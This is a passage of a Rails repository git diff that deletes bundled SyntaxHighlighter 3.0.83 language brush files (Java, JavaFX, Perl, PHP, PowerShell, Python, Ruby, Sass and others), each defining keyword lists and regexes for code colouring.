- { regex: r.multiLineCComments, css: 'comments' }, // multiline comments
- { regex: /\s*#.*/gm, css: 'preprocessor' }, // preprocessor tags like #region and #endregion
- { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' } // keywords
- ];
-
- this.forHtmlScript(r.scriptScriptTags);
- };
-
- Brush.prototype = new SyntaxHighlighter.Highlighter();
- Brush.aliases = ['js', 'jscript', 'javascript'];
-
- SyntaxHighlighter.brushes.JScript = Brush;
-
- // CommonJS
- typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
-})();
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushJava.js b/railties/guides/assets/javascripts/syntaxhighlighter/shBrushJava.js
deleted file mode 100644
index d692fd6382..0000000000
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushJava.js
+++ /dev/null
@@ -1,57 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-;(function()
-{
- // CommonJS
- typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
-
- function Brush()
- {
- var keywords = 'abstract assert boolean break byte case catch char class const ' +
- 'continue default do double else enum extends ' +
- 'false final finally float for goto if implements import ' +
- 'instanceof int interface long native new null ' +
- 'package private protected public return ' +
- 'short static strictfp super switch synchronized this throw throws true ' +
- 'transient try void volatile while';
-
- this.regexList = [
- { regex: SyntaxHighlighter.regexLib.singleLineCComments, css: 'comments' }, // one line comments
- { regex: /\/\*([^\*][\s\S]*)?\*\//gm, css: 'comments' }, // multiline comments
- { regex: /\/\*(?!\*\/)\*[\s\S]*?\*\//gm, css: 'preprocessor' }, // documentation comments
- { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // strings
- { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // strings
- { regex: /\b([\d]+(\.[\d]+)?|0x[a-f0-9]+)\b/gi, css: 'value' }, // numbers
- { regex: /(?!\@interface\b)\@[\$\w]+\b/g, css: 'color1' }, // annotation @anno
- { regex: /\@interface\b/g, css: 'color2' }, // @interface keyword
- { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' } // java keyword
- ];
-
- this.forHtmlScript({
- left : /(&lt;|<)%[@!=]?/g,
- right : /%(&gt;|>)/g
- });
- };
-
- Brush.prototype = new SyntaxHighlighter.Highlighter();
- Brush.aliases = ['java'];
-
- SyntaxHighlighter.brushes.Java = Brush;
-
- // CommonJS
- typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
-})();
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushJavaFX.js b/railties/guides/assets/javascripts/syntaxhighlighter/shBrushJavaFX.js
deleted file mode 100644
index 1a150a6ad3..0000000000
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushJavaFX.js
+++ /dev/null
@@ -1,58 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-;(function()
-{
- // CommonJS
- typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
-
- function Brush()
- {
- // Contributed by Patrick Webster
- // http://patrickwebster.blogspot.com/2009/04/javafx-brush-for-syntaxhighlighter.html
- var datatypes = 'Boolean Byte Character Double Duration '
- + 'Float Integer Long Number Short String Void'
- ;
-
- var keywords = 'abstract after and as assert at before bind bound break catch class '
- + 'continue def delete else exclusive extends false finally first for from '
- + 'function if import in indexof init insert instanceof into inverse last '
- + 'lazy mixin mod nativearray new not null on or override package postinit '
- + 'protected public public-init public-read replace return reverse sizeof '
- + 'step super then this throw true try tween typeof var where while with '
- + 'attribute let private readonly static trigger'
- ;
-
- this.regexList = [
- { regex: SyntaxHighlighter.regexLib.singleLineCComments, css: 'comments' },
- { regex: SyntaxHighlighter.regexLib.multiLineCComments, css: 'comments' },
- { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' },
- { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' },
- { regex: /(-?\.?)(\b(\d*\.?\d+|\d+\.?\d*)(e[+-]?\d+)?|0x[a-f\d]+)\b\.?/gi, css: 'color2' }, // numbers
- { regex: new RegExp(this.getKeywords(datatypes), 'gm'), css: 'variable' }, // datatypes
- { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' }
- ];
- this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags);
- };
-
- Brush.prototype = new SyntaxHighlighter.Highlighter();
- Brush.aliases = ['jfx', 'javafx'];
-
- SyntaxHighlighter.brushes.JavaFX = Brush;
-
- // CommonJS
- typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
-})();
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushPerl.js b/railties/guides/assets/javascripts/syntaxhighlighter/shBrushPerl.js
deleted file mode 100644
index d94a2e0ec5..0000000000
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushPerl.js
+++ /dev/null
@@ -1,72 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-;(function()
-{
- // CommonJS
- typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
-
- function Brush()
- {
- // Contributed by David Simmons-Duffin and Marty Kube
-
- var funcs =
- 'abs accept alarm atan2 bind binmode chdir chmod chomp chop chown chr ' +
- 'chroot close closedir connect cos crypt defined delete each endgrent ' +
- 'endhostent endnetent endprotoent endpwent endservent eof exec exists ' +
- 'exp fcntl fileno flock fork format formline getc getgrent getgrgid ' +
- 'getgrnam gethostbyaddr gethostbyname gethostent getlogin getnetbyaddr ' +
- 'getnetbyname getnetent getpeername getpgrp getppid getpriority ' +
- 'getprotobyname getprotobynumber getprotoent getpwent getpwnam getpwuid ' +
- 'getservbyname getservbyport getservent getsockname getsockopt glob ' +
- 'gmtime grep hex index int ioctl join keys kill lc lcfirst length link ' +
- 'listen localtime lock log lstat map mkdir msgctl msgget msgrcv msgsnd ' +
- 'oct open opendir ord pack pipe pop pos print printf prototype push ' +
- 'quotemeta rand read readdir readline readlink readpipe recv rename ' +
- 'reset reverse rewinddir rindex rmdir scalar seek seekdir select semctl ' +
- 'semget semop send setgrent sethostent setnetent setpgrp setpriority ' +
- 'setprotoent setpwent setservent setsockopt shift shmctl shmget shmread ' +
- 'shmwrite shutdown sin sleep socket socketpair sort splice split sprintf ' +
- 'sqrt srand stat study substr symlink syscall sysopen sysread sysseek ' +
- 'system syswrite tell telldir time times tr truncate uc ucfirst umask ' +
- 'undef unlink unpack unshift utime values vec wait waitpid warn write';
-
- var keywords =
- 'bless caller continue dbmclose dbmopen die do dump else elsif eval exit ' +
- 'for foreach goto if import last local my next no our package redo ref ' +
- 'require return sub tie tied unless untie until use wantarray while';
-
- this.regexList = [
- { regex: new RegExp('#[^!].*$', 'gm'), css: 'comments' },
- { regex: new RegExp('^\\s*#!.*$', 'gm'), css: 'preprocessor' }, // shebang
- { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' },
- { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' },
- { regex: new RegExp('(\\$|@|%)\\w+', 'g'), css: 'variable' },
- { regex: new RegExp(this.getKeywords(funcs), 'gmi'), css: 'functions' },
- { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' }
- ];
-
- this.forHtmlScript(SyntaxHighlighter.regexLib.phpScriptTags);
- }
-
- Brush.prototype = new SyntaxHighlighter.Highlighter();
- Brush.aliases = ['perl', 'Perl', 'pl'];
-
- SyntaxHighlighter.brushes.Perl = Brush;
-
- // CommonJS
- typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
-})();
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushPhp.js b/railties/guides/assets/javascripts/syntaxhighlighter/shBrushPhp.js
deleted file mode 100644
index 95e6e4325b..0000000000
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushPhp.js
+++ /dev/null
@@ -1,88 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-;(function()
-{
- // CommonJS
- typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
-
- function Brush()
- {
- var funcs = 'abs acos acosh addcslashes addslashes ' +
- 'array_change_key_case array_chunk array_combine array_count_values array_diff '+
- 'array_diff_assoc array_diff_key array_diff_uassoc array_diff_ukey array_fill '+
- 'array_filter array_flip array_intersect array_intersect_assoc array_intersect_key '+
- 'array_intersect_uassoc array_intersect_ukey array_key_exists array_keys array_map '+
- 'array_merge array_merge_recursive array_multisort array_pad array_pop array_product '+
- 'array_push array_rand array_reduce array_reverse array_search array_shift '+
- 'array_slice array_splice array_sum array_udiff array_udiff_assoc '+
- 'array_udiff_uassoc array_uintersect array_uintersect_assoc '+
- 'array_uintersect_uassoc array_unique array_unshift array_values array_walk '+
- 'array_walk_recursive atan atan2 atanh base64_decode base64_encode base_convert '+
- 'basename bcadd bccomp bcdiv bcmod bcmul bindec bindtextdomain bzclose bzcompress '+
- 'bzdecompress bzerrno bzerror bzerrstr bzflush bzopen bzread bzwrite ceil chdir '+
- 'checkdate checkdnsrr chgrp chmod chop chown chr chroot chunk_split class_exists '+
- 'closedir closelog copy cos cosh count count_chars date decbin dechex decoct '+
- 'deg2rad delete ebcdic2ascii echo empty end ereg ereg_replace eregi eregi_replace error_log '+
- 'error_reporting escapeshellarg escapeshellcmd eval exec exit exp explode extension_loaded '+
- 'feof fflush fgetc fgetcsv fgets fgetss file_exists file_get_contents file_put_contents '+
- 'fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype '+
- 'floatval flock floor flush fmod fnmatch fopen fpassthru fprintf fputcsv fputs fread fscanf '+
- 'fseek fsockopen fstat ftell ftok getallheaders getcwd getdate getenv gethostbyaddr gethostbyname '+
- 'gethostbynamel getimagesize getlastmod getmxrr getmygid getmyinode getmypid getmyuid getopt '+
- 'getprotobyname getprotobynumber getrandmax getrusage getservbyname getservbyport gettext '+
- 'gettimeofday gettype glob gmdate gmmktime ini_alter ini_get ini_get_all ini_restore ini_set '+
- 'interface_exists intval ip2long is_a is_array is_bool is_callable is_dir is_double '+
- 'is_executable is_file is_finite is_float is_infinite is_int is_integer is_link is_long '+
- 'is_nan is_null is_numeric is_object is_readable is_real is_resource is_scalar is_soap_fault '+
- 'is_string is_subclass_of is_uploaded_file is_writable is_writeable mkdir mktime nl2br '+
- 'parse_ini_file parse_str parse_url passthru pathinfo print readlink realpath rewind rewinddir rmdir '+
- 'round str_ireplace str_pad str_repeat str_replace str_rot13 str_shuffle str_split '+
- 'str_word_count strcasecmp strchr strcmp strcoll strcspn strftime strip_tags stripcslashes '+
- 'stripos stripslashes stristr strlen strnatcasecmp strnatcmp strncasecmp strncmp strpbrk '+
- 'strpos strptime strrchr strrev strripos strrpos strspn strstr strtok strtolower strtotime '+
- 'strtoupper strtr strval substr substr_compare';
-
- var keywords = 'abstract and array as break case catch cfunction class clone const continue declare default die do ' +
- 'else elseif enddeclare endfor endforeach endif endswitch endwhile extends final for foreach ' +
- 'function include include_once global goto if implements interface instanceof namespace new ' +
- 'old_function or private protected public return require require_once static switch ' +
- 'throw try use var while xor ';
-
- var constants = '__FILE__ __LINE__ __METHOD__ __FUNCTION__ __CLASS__';
-
- this.regexList = [
- { regex: SyntaxHighlighter.regexLib.singleLineCComments, css: 'comments' }, // one line comments
- { regex: SyntaxHighlighter.regexLib.multiLineCComments, css: 'comments' }, // multiline comments
- { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // double quoted strings
- { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // single quoted strings
- { regex: /\$\w+/g, css: 'variable' }, // variables
- { regex: new RegExp(this.getKeywords(funcs), 'gmi'), css: 'functions' }, // common functions
- { regex: new RegExp(this.getKeywords(constants), 'gmi'), css: 'constants' }, // constants
- { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' } // keyword
- ];
-
- this.forHtmlScript(SyntaxHighlighter.regexLib.phpScriptTags);
- };
-
- Brush.prototype = new SyntaxHighlighter.Highlighter();
- Brush.aliases = ['php'];
-
- SyntaxHighlighter.brushes.Php = Brush;
-
- // CommonJS
- typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
-})();
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushPlain.js b/railties/guides/assets/javascripts/syntaxhighlighter/shBrushPlain.js
deleted file mode 100644
index 9f7d9e90c3..0000000000
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushPlain.js
+++ /dev/null
@@ -1,33 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-;(function()
-{
- // CommonJS
- typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
-
- function Brush()
- {
- };
-
- Brush.prototype = new SyntaxHighlighter.Highlighter();
- Brush.aliases = ['text', 'plain'];
-
- SyntaxHighlighter.brushes.Plain = Brush;
-
- // CommonJS
- typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
-})();
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushPowerShell.js b/railties/guides/assets/javascripts/syntaxhighlighter/shBrushPowerShell.js
deleted file mode 100644
index 0be1752968..0000000000
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushPowerShell.js
+++ /dev/null
@@ -1,74 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-;(function()
-{
- // CommonJS
- typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
-
- function Brush()
- {
- // Contributes by B.v.Zanten, Getronics
- // http://confluence.atlassian.com/display/CONFEXT/New+Code+Macro
-
- var keywords = 'Add-Content Add-History Add-Member Add-PSSnapin Clear(-Content)? Clear-Item ' +
- 'Clear-ItemProperty Clear-Variable Compare-Object ConvertFrom-SecureString Convert-Path ' +
- 'ConvertTo-Html ConvertTo-SecureString Copy(-Item)? Copy-ItemProperty Export-Alias ' +
- 'Export-Clixml Export-Console Export-Csv ForEach(-Object)? Format-Custom Format-List ' +
- 'Format-Table Format-Wide Get-Acl Get-Alias Get-AuthenticodeSignature Get-ChildItem Get-Command ' +
- 'Get-Content Get-Credential Get-Culture Get-Date Get-EventLog Get-ExecutionPolicy ' +
- 'Get-Help Get-History Get-Host Get-Item Get-ItemProperty Get-Location Get-Member ' +
- 'Get-PfxCertificate Get-Process Get-PSDrive Get-PSProvider Get-PSSnapin Get-Service ' +
- 'Get-TraceSource Get-UICulture Get-Unique Get-Variable Get-WmiObject Group-Object ' +
- 'Import-Alias Import-Clixml Import-Csv Invoke-Expression Invoke-History Invoke-Item ' +
- 'Join-Path Measure-Command Measure-Object Move(-Item)? Move-ItemProperty New-Alias ' +
- 'New-Item New-ItemProperty New-Object New-PSDrive New-Service New-TimeSpan ' +
- 'New-Variable Out-Default Out-File Out-Host Out-Null Out-Printer Out-String Pop-Location ' +
- 'Push-Location Read-Host Remove-Item Remove-ItemProperty Remove-PSDrive Remove-PSSnapin ' +
- 'Remove-Variable Rename-Item Rename-ItemProperty Resolve-Path Restart-Service Resume-Service ' +
- 'Select-Object Select-String Set-Acl Set-Alias Set-AuthenticodeSignature Set-Content ' +
- 'Set-Date Set-ExecutionPolicy Set-Item Set-ItemProperty Set-Location Set-PSDebug ' +
- 'Set-Service Set-TraceSource Set(-Variable)? Sort-Object Split-Path Start-Service ' +
- 'Start-Sleep Start-Transcript Stop-Process Stop-Service Stop-Transcript Suspend-Service ' +
- 'Tee-Object Test-Path Trace-Command Update-FormatData Update-TypeData Where(-Object)? ' +
- 'Write-Debug Write-Error Write(-Host)? Write-Output Write-Progress Write-Verbose Write-Warning';
- var alias = 'ac asnp clc cli clp clv cpi cpp cvpa diff epal epcsv fc fl ' +
- 'ft fw gal gc gci gcm gdr ghy gi gl gm gp gps group gsv ' +
- 'gsnp gu gv gwmi iex ihy ii ipal ipcsv mi mp nal ndr ni nv oh rdr ' +
- 'ri rni rnp rp rsnp rv rvpa sal sasv sc select si sl sleep sort sp ' +
- 'spps spsv sv tee cat cd cp h history kill lp ls ' +
- 'mount mv popd ps pushd pwd r rm rmdir echo cls chdir del dir ' +
- 'erase rd ren type % \\?';
-
- this.regexList = [
- { regex: /#.*$/gm, css: 'comments' }, // one line comments
- { regex: /\$[a-zA-Z0-9]+\b/g, css: 'value' }, // variables $Computer1
- { regex: /\-[a-zA-Z]+\b/g, css: 'keyword' }, // Operators -not -and -eq
- { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // strings
- { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // strings
- { regex: new RegExp(this.getKeywords(keywords), 'gmi'), css: 'keyword' },
- { regex: new RegExp(this.getKeywords(alias), 'gmi'), css: 'keyword' }
- ];
- };
-
- Brush.prototype = new SyntaxHighlighter.Highlighter();
- Brush.aliases = ['powershell', 'ps'];
-
- SyntaxHighlighter.brushes.PowerShell = Brush;
-
- // CommonJS
- typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
-})();
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushPython.js b/railties/guides/assets/javascripts/syntaxhighlighter/shBrushPython.js
deleted file mode 100644
index ce77462975..0000000000
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushPython.js
+++ /dev/null
@@ -1,64 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-;(function()
-{
- // CommonJS
- typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
-
- function Brush()
- {
- // Contributed by Gheorghe Milas and Ahmad Sherif
-
- var keywords = 'and assert break class continue def del elif else ' +
- 'except exec finally for from global if import in is ' +
- 'lambda not or pass print raise return try yield while';
-
- var funcs = '__import__ abs all any apply basestring bin bool buffer callable ' +
- 'chr classmethod cmp coerce compile complex delattr dict dir ' +
- 'divmod enumerate eval execfile file filter float format frozenset ' +
- 'getattr globals hasattr hash help hex id input int intern ' +
- 'isinstance issubclass iter len list locals long map max min next ' +
- 'object oct open ord pow print property range raw_input reduce ' +
- 'reload repr reversed round set setattr slice sorted staticmethod ' +
- 'str sum super tuple type type unichr unicode vars xrange zip';
-
- var special = 'None True False self cls class_';
-
- this.regexList = [
- { regex: SyntaxHighlighter.regexLib.singleLinePerlComments, css: 'comments' },
- { regex: /^\s*@\w+/gm, css: 'decorator' },
- { regex: /(['\"]{3})([^\1])*?\1/gm, css: 'comments' },
- { regex: /"(?!")(?:\.|\\\"|[^\""\n])*"/gm, css: 'string' },
- { regex: /'(?!')(?:\.|(\\\')|[^\''\n])*'/gm, css: 'string' },
- { regex: /\+|\-|\*|\/|\%|=|==/gm, css: 'keyword' },
- { regex: /\b\d+\.?\w*/g, css: 'value' },
- { regex: new RegExp(this.getKeywords(funcs), 'gmi'), css: 'functions' },
- { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' },
- { regex: new RegExp(this.getKeywords(special), 'gm'), css: 'color1' }
- ];
-
- this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags);
- };
-
- Brush.prototype = new SyntaxHighlighter.Highlighter();
- Brush.aliases = ['py', 'python'];
-
- SyntaxHighlighter.brushes.Python = Brush;
-
- // CommonJS
- typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
-})();
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushRuby.js b/railties/guides/assets/javascripts/syntaxhighlighter/shBrushRuby.js
deleted file mode 100644
index ff82130a7a..0000000000
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushRuby.js
+++ /dev/null
@@ -1,55 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-;(function()
-{
- // CommonJS
- typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
-
- function Brush()
- {
- // Contributed by Erik Peterson.
-
- var keywords = 'alias and BEGIN begin break case class def define_method defined do each else elsif ' +
- 'END end ensure false for if in module new next nil not or raise redo rescue retry return ' +
- 'self super then throw true undef unless until when while yield';
-
- var builtins = 'Array Bignum Binding Class Continuation Dir Exception FalseClass File::Stat File Fixnum Fload ' +
- 'Hash Integer IO MatchData Method Module NilClass Numeric Object Proc Range Regexp String Struct::TMS Symbol ' +
- 'ThreadGroup Thread Time TrueClass';
-
- this.regexList = [
- { regex: SyntaxHighlighter.regexLib.singleLinePerlComments, css: 'comments' }, // one line comments
- { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // double quoted strings
- { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // single quoted strings
- { regex: /\b[A-Z0-9_]+\b/g, css: 'constants' }, // constants
- { regex: /:[a-z][A-Za-z0-9_]*/g, css: 'color2' }, // symbols
- { regex: /(\$|@@|@)\w+/g, css: 'variable bold' }, // $global, @instance, and @@class variables
- { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' }, // keywords
- { regex: new RegExp(this.getKeywords(builtins), 'gm'), css: 'color1' } // builtins
- ];
-
- this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags);
- };
-
- Brush.prototype = new SyntaxHighlighter.Highlighter();
- Brush.aliases = ['ruby', 'rails', 'ror', 'rb'];
-
- SyntaxHighlighter.brushes.Ruby = Brush;
-
- // CommonJS
- typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
-})();
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushSass.js b/railties/guides/assets/javascripts/syntaxhighlighter/shBrushSass.js
deleted file mode 100644
index aa04da0996..0000000000
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushSass.js
+++ /dev/null
@@ -1,94 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-;(function()
-{
- // CommonJS
- typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
-
- function Brush()
- {
- function getKeywordsCSS(str)
- {
- return '\\b([a-z_]|)' + str.replace(/ /g, '(?=:)\\b|\\b([a-z_\\*]|\\*|)') + '(?=:)\\b';
- };
-
- function getValuesCSS(str)
- {
- return '\\b' + str.replace(/ /g, '(?!-)(?!:)\\b|\\b()') + '\:\\b';
- };
-
- var keywords = 'ascent azimuth background-attachment background-color background-image background-position ' +
- 'background-repeat background baseline bbox border-collapse border-color border-spacing border-style border-top ' +
- 'border-right border-bottom border-left border-top-color border-right-color border-bottom-color border-left-color ' +
- 'border-top-style border-right-style border-bottom-style border-left-style border-top-width border-right-width ' +
- 'border-bottom-width border-left-width border-width border bottom cap-height caption-side centerline clear clip color ' +
- 'content counter-increment counter-reset cue-after cue-before cue cursor definition-src descent direction display ' +
- 'elevation empty-cells float font-size-adjust font-family font-size font-stretch font-style font-variant font-weight font ' +
- 'height left letter-spacing line-height list-style-image list-style-position list-style-type list-style margin-top ' +
- 'margin-right margin-bottom margin-left margin marker-offset marks mathline max-height max-width min-height min-width orphans ' +
- 'outline-color outline-style outline-width outline overflow padding-top padding-right padding-bottom padding-left padding page ' +
- 'page-break-after page-break-before page-break-inside pause pause-after pause-before pitch pitch-range play-during position ' +
- 'quotes right richness size slope src speak-header speak-numeral speak-punctuation speak speech-rate stemh stemv stress ' +
- 'table-layout text-align top text-decoration text-indent text-shadow text-transform unicode-bidi unicode-range units-per-em ' +
- 'vertical-align visibility voice-family volume white-space widows width widths word-spacing x-height z-index';
-
- var values = 'above absolute all always aqua armenian attr aural auto avoid baseline behind below bidi-override black blink block blue bold bolder '+
- 'both bottom braille capitalize caption center center-left center-right circle close-quote code collapse compact condensed '+
- 'continuous counter counters crop cross crosshair cursive dashed decimal decimal-leading-zero digits disc dotted double '+
- 'embed embossed e-resize expanded extra-condensed extra-expanded fantasy far-left far-right fast faster fixed format fuchsia '+
- 'gray green groove handheld hebrew help hidden hide high higher icon inline-table inline inset inside invert italic '+
- 'justify landscape large larger left-side left leftwards level lighter lime line-through list-item local loud lower-alpha '+
- 'lowercase lower-greek lower-latin lower-roman lower low ltr marker maroon medium message-box middle mix move narrower '+
- 'navy ne-resize no-close-quote none no-open-quote no-repeat normal nowrap n-resize nw-resize oblique olive once open-quote outset '+
- 'outside overline pointer portrait pre print projection purple red relative repeat repeat-x repeat-y rgb ridge right right-side '+
- 'rightwards rtl run-in screen scroll semi-condensed semi-expanded separate se-resize show silent silver slower slow '+
- 'small small-caps small-caption smaller soft solid speech spell-out square s-resize static status-bar sub super sw-resize '+
- 'table-caption table-cell table-column table-column-group table-footer-group table-header-group table-row table-row-group teal '+
- 'text-bottom text-top thick thin top transparent tty tv ultra-condensed ultra-expanded underline upper-alpha uppercase upper-latin '+
- 'upper-roman url visible wait white wider w-resize x-fast x-high x-large x-loud x-low x-slow x-small x-soft xx-large xx-small yellow';
-
- var fonts = '[mM]onospace [tT]ahoma [vV]erdana [aA]rial [hH]elvetica [sS]ans-serif [sS]erif [cC]ourier mono sans serif';
-
- var statements = '!important !default';
- var preprocessor = '@import @extend @debug @warn @if @for @while @mixin @include';
-
- var r = SyntaxHighlighter.regexLib;
-
- this.regexList = [
- { regex: r.multiLineCComments, css: 'comments' }, // multiline comments
- { regex: r.singleLineCComments, css: 'comments' }, // singleline comments
- { regex: r.doubleQuotedString, css: 'string' }, // double quoted strings
- { regex: r.singleQuotedString, css: 'string' }, // single quoted strings
- { regex: /\#[a-fA-F0-9]{3,6}/g, css: 'value' }, // html colors
- { regex: /\b(-?\d+)(\.\d+)?(px|em|pt|\:|\%|)\b/g, css: 'value' }, // sizes
- { regex: /\$\w+/g, css: 'variable' }, // variables
- { regex: new RegExp(this.getKeywords(statements), 'g'), css: 'color3' }, // statements
- { regex: new RegExp(this.getKeywords(preprocessor), 'g'), css: 'preprocessor' }, // preprocessor
- { regex: new RegExp(getKeywordsCSS(keywords), 'gm'), css: 'keyword' }, // keywords
- { regex: new RegExp(getValuesCSS(values), 'g'), css: 'value' }, // values
- { regex: new RegExp(this.getKeywords(fonts), 'g'), css: 'color1' } // fonts
- ];
- };
-
- Brush.prototype = new SyntaxHighlighter.Highlighter();
- Brush.aliases = ['sass', 'scss'];
-
- SyntaxHighlighter.brushes.Sass = Brush;
-
- // CommonJS
- typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
-})();
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushScala.js b/railties/guides/assets/javascripts/syntaxhighlighter/shBrushScala.js
deleted file mode 100644
index 4b0b6f04d2..0000000000
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushScala.js
+++ /dev/null
@@ -1,51 +0,0 @@
-/**
- * SyntaxHighlighter
